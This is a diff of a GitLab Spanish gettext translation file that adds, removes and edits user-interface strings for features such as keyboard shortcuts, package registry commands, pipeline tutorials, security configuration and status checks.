+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr "Clave: %{key}"
msgid "Keyboard shortcuts"
msgstr "Atajos de teclado"
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr "Claves"
@@ -18756,6 +19123,9 @@ msgstr "La integración del clúster de Kubernetes se eliminó correctamente."
msgid "Kubernetes cluster was successfully updated."
msgstr "El clúster de Kubernetes se actualizó correctamente."
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr "Despliegue de Kubernetes no encontrado"
@@ -18998,18 +19368,12 @@ msgstr "Último pipeline para el commit más reciente en esta rama"
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr "Aprenda GitLab"
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr "Let's Encrypt no acepta correos electrónicos de example.com"
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr "Let's encrypt es una autoridad de certificación (CA) gratuita y automatizada, que proporciona certificados HTTPS (SSL/TLS) para sitios web. Para saber cómo configurarlo consulte el enlace de la documentación %{docs_link_start} en GitLab Pages%{docs_link_end}."
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr "Licencia"
@@ -19705,8 +20078,8 @@ msgstr "Convierte la incidencia en confidencial."
msgid "Manage"
msgstr "Administrar"
-msgid "Manage Web IDE features"
-msgstr "Administrar las características del Web IDE"
+msgid "Manage Web IDE features."
+msgstr ""
msgid "Manage access"
msgstr "Administrar accesos"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr "Tamaño máximo para los archivos a subir al ejecutar un comando push (MB)"
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr "Uso de memoria"
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr "Merge"
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr "Merge request"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr "Merge request %{iid} creado por %{authorName}"
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr "Expandir el panel"
msgid "Metrics|For grouping similar metrics"
msgstr "Para agrupar métricas similares"
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr "Rango de tiempo inválido, por favor verifíquelo."
@@ -20865,12 +21247,12 @@ msgstr "Microsoft Azure"
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
-msgstr ""
-
msgid "Migrated %{success_count}/%{total_count} files."
msgstr "Migrados %{success_count}/%{total_count} archivos."
+msgid "Migration"
+msgstr ""
+
msgid "Migration has been scheduled to be retried"
msgstr ""
@@ -21125,6 +21507,12 @@ msgstr "Modificar el merge commit"
msgid "Monday"
msgstr "Lunes"
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr "Monitorice los errores de su aplicación al integrarse con Sentry."
@@ -21257,6 +21645,9 @@ msgstr "Se encontraron varios tipos de modelo: %{model_types}"
msgid "Multiple uploaders found: %{uploader_types}"
msgstr "Se encontraron varios tipos de cargadores: %{uploader_types}"
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr "El nombre ya está en uso"
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr "Nombre de la nueva etiqueta"
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr "No se han encontrado datos"
msgid "No data to display"
msgstr "No hay ningún dato para mostrar"
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr "No se han encontrado despliegues"
@@ -22143,6 +22534,9 @@ msgstr "Ninguno"
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr "¡No se ha implementado!"
@@ -22469,6 +22863,9 @@ msgstr "¡Oh, no!"
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr "Más antiguo primero"
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr "El tipo de paquete debe ser Conan"
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr "El tipo de paquete debe ser Maven"
@@ -23041,6 +23441,9 @@ msgstr "Añadir un remoto de Conan"
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr "Añadir fuente de NuGet"
@@ -23083,6 +23486,9 @@ msgstr "Copiar el comando de configuración de Conan"
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr "Copiar Maven XML"
@@ -23104,6 +23510,9 @@ msgstr "Copiar comando de Pip"
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr "Copie y pegue esto dentro del bloque %{codeStart}dependencies%{codeEnd} en el fichero %{codeStart}pom.xml%{codeEnd} ."
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "Si todavía no lo ha hecho, necesitará añadir lo siguiente a su archivo %{codeStart}.pypirc%{codeEnd}."
@@ -23167,6 +23585,9 @@ msgstr "Si aún no lo ha hecho, debe añadir lo siguiente a su archivo %{codeSta
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr "Aprenda a %{noPackagesLinkStart}publicar y compartir sus paquetes%{noPackagesLinkEnd} con GitLab."
@@ -23182,6 +23603,9 @@ msgstr "Maven"
msgid "PackageRegistry|Maven Command"
msgstr "Comando Maven"
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr "NuGet"
@@ -23227,6 +23651,9 @@ msgstr "Eliminar paquete"
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,8 +23762,8 @@ msgstr "Páginas"
msgid "Pages Domain"
msgstr "Dominio de Pages"
-msgid "Pages getting started guide"
-msgstr "Guía de inicio de Pages"
+msgid "Pagination|First"
+msgstr ""
msgid "Pagination|Go to first page"
msgstr "Ir a la primera página"
@@ -23356,6 +23777,9 @@ msgstr "Ir a la siguiente página"
msgid "Pagination|Go to previous page"
msgstr "Ir a la página anterior"
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr "Último »"
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr "Contraseña"
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr "Contraseña (opcional)"
@@ -23542,6 +23969,9 @@ msgstr "Recursos de Frontend"
msgid "PerformanceBar|Gitaly calls"
msgstr "Llamadas a Gitaly"
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr "Llamas de Redis"
@@ -23620,6 +24050,9 @@ msgstr "Programación del Pipeline"
msgid "Pipeline Schedules"
msgstr "Programaciones de los Pipelines"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr "Cuota de minutos del pipeline"
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Total:"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr "La configuración de los pipelines para '%{project_name}' se actualizó
msgid "Pipelines|API"
msgstr "API"
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr "Este proyecto no está configurado para ejecutar pipelines."
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr "Por favor, proporcione un nombre"
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr "Por favor, seleccione un grupo."
msgid "Please select a valid target branch"
msgstr "Por favor, seleccione una rama de destino válida"
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr "Por favor seleccione y añada un miembro"
@@ -24250,6 +24749,9 @@ msgstr "Por favor seleccione por lo menos un filtro para ver los resultados"
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr "Por favor, establezca una nueva contraseña antes de continuar."
@@ -24283,9 +24785,6 @@ msgstr "Por favor espere mientras nos conectamos a su repositorio."
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr "Por favor espere mientras importamos el repositorio por usted."
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr "El Pod no existe"
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr "Vista previa"
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr "Vista previa de Markdown"
@@ -24823,8 +25328,8 @@ msgstr "Contribuciones privadas"
msgid "Profiles|Profile was successfully updated"
msgstr "El perfil se actualizó correctamente"
-msgid "Profiles|Public Avatar"
-msgstr "Avatar público"
+msgid "Profiles|Public avatar"
+msgstr ""
msgid "Profiles|Public email"
msgstr "Dirección de correo electrónico pública"
@@ -25081,6 +25586,9 @@ msgstr "El proyecto tiene demasiadas %{label_for_message} para buscar"
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr "Realice operaciones comunes en el proyecto GitLab: %{project_name}"
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr "Proyectos compartidos con %{group_name}"
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr "Los proyectos que pertenecen a un grupo tienen como prefijo el espacio de nombres del grupo. Los proyectos existentes se pueden mover a un grupo."
-
msgid "Projects to index"
msgstr "Proyectos a indexar"
@@ -25765,12 +26267,6 @@ msgstr "Esta función requiere que el navegador permita la utilización de almac
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr "Le permite que pueda clonar inmediatamente el repositorio de este proyecto. Puede omitir este paso si planea hacer push a un repositorio existente."
-msgid "ProjectsNew|Blank"
-msgstr "En blanco"
-
-msgid "ProjectsNew|Blank project"
-msgstr "Proyecto en blanco"
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr "Crear"
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr "Crear un proyecto en blanco"
@@ -25795,9 +26294,6 @@ msgstr "Crear desde una plantilla"
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr "Creando proyecto y repositorio."
-
msgid "ProjectsNew|Description format"
msgstr "Formato de la descripción"
@@ -25813,21 +26309,18 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr "Inicializar el repositorio con un archivo README"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgstr ""
+
msgid "ProjectsNew|No import options available"
msgstr "No hay opciones de importación disponibles"
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
-msgstr "Por favor, espere un momento, está página se refrescara automáticamente cuando este lista."
-
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
msgstr "Descripción del proyecto %{tag_start}(opcional)%{tag_end}"
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr "Ejecutar CI/CD para un repositorio externo"
-msgid "ProjectsNew|Template"
-msgstr "Plantilla"
-
msgid "ProjectsNew|Visibility Level"
msgstr "Nivel de visibilidad"
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr "Reconfigurar"
-msgid "Recover hidden stage"
-msgstr "Recuperar una fase oculta"
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr "Codigos de recuperacion"
msgid "Redirect to SAML provider to test configuration"
msgstr "Redirigir al proveedor de SAML para probar la configuración"
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr "Eliminar nodo secundario"
msgid "Remove spent time"
msgstr "Eliminar el tiempo gastado"
-msgid "Remove stage"
-msgstr "Eliminar la etapa"
-
msgid "Remove time estimate"
msgstr "Eliminar el tiempo estimado"
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr "Eliminado"
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr "Habilitado"
@@ -28492,6 +29009,9 @@ msgstr "Documentación de características para %{featureName}"
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,18 +29024,21 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
-msgstr ""
-
msgid "SecurityConfiguration|Security Control"
msgstr "Control de seguridad"
+msgid "SecurityConfiguration|Security testing"
+msgstr ""
+
msgid "SecurityConfiguration|Status"
msgstr "Estado"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr "Pruebas y cumplimiento"
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr "Comentario editado en '%{vulnerabilityName}'"
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr "Ocultar descartados"
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr "Ver métricas"
@@ -28849,6 +29372,9 @@ msgstr "Seleccione una razón"
msgid "Select a repository"
msgstr "Seleccione un repositorio"
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr "Seleccione una plantilla de repositorio"
@@ -29083,6 +29609,9 @@ msgstr "Serverless"
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr "Las métricas de llamadas a funciones serverless requiere que se instale primero Prometheus."
@@ -29236,9 +29765,6 @@ msgstr "Establecer y restringir los niveles de visibilidad por defecto. Configur
msgid "Set due date"
msgstr "Establecer fecha de finalización"
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr "Establecer iteración"
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr "Enlace de ayuda de los ejecutores compartidos"
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "Restricciones de registro"
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr "Vea la lista de comandos disponibles en Slack después de configurar est
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr "Este servicio permite a los usuarios realizar operaciones comunes en este proyecto utilizando comandos en Slack."
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr "Tarjeta inteligente"
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr "Se ha producido un error al detener este entorno. Por favor, inténtalo de nuevo."
@@ -30350,6 +30885,9 @@ msgstr "Especifique un patrón para la expresión regular de direcciones de corr
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr "Modificar el mensaje de commit"
@@ -30365,11 +30903,14 @@ msgstr ""
msgid "Stage"
msgstr "Etapa"
-msgid "Stage data updated"
-msgstr "Datos de la etapa actualizados"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
+msgstr ""
-msgid "Stage removed"
-msgstr "Etapa eliminada"
+msgid "StageName|Test"
+msgstr ""
msgid "Standard"
msgstr "Estándar"
@@ -30590,18 +31131,57 @@ msgstr "Estado: %{title}"
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
